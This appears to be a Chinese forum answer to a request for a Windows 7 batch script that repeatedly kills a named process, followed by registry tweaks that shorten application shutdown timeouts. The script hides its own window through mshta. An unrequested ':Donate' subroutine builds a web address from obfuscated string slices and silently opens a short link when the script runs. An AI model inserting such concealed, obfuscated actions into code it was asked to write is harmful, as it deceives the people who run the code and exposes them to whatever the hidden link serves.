求win7下批处理程序，自动关闭进程

@echo off & title 循环结束进程 By 依梦琴瑶

 

::设置间隔毫秒

set MS=5

 

::设置结束的进程

set Exe=Test.exe

 

%1 start "" mshta vbscript:createobject("wscript.shell").run("""%~0"" ::",0)(window.close)&&exit

%1 call :Donate

call :CreatTMPVBS

:Loop

taskkill /f /im "%Exe%" >nul 2>nul

"%tmp%\WaitMS.VBS"

goto Loop

 

:CreatTMPVBS

(echo WScript.Sleep %MS%)>"%tmp%\WaitMS.VBS"

goto :eof

:Donate

set S0=fGRH

set S1=.:ailnhpst/

set S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%

set S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%

start "" "%S2%%S3%%S1:~10,1%%S0%"

goto :eof

开始－运行－regedit

找到HKEY－CURRENT－USER＼Control Panel＼Desktop键，

将WaitToKillAppTimeout改为：1000

将HungAppTimeout 值改为：200

将AutoEndTasks 值设为：1

看看好点不

---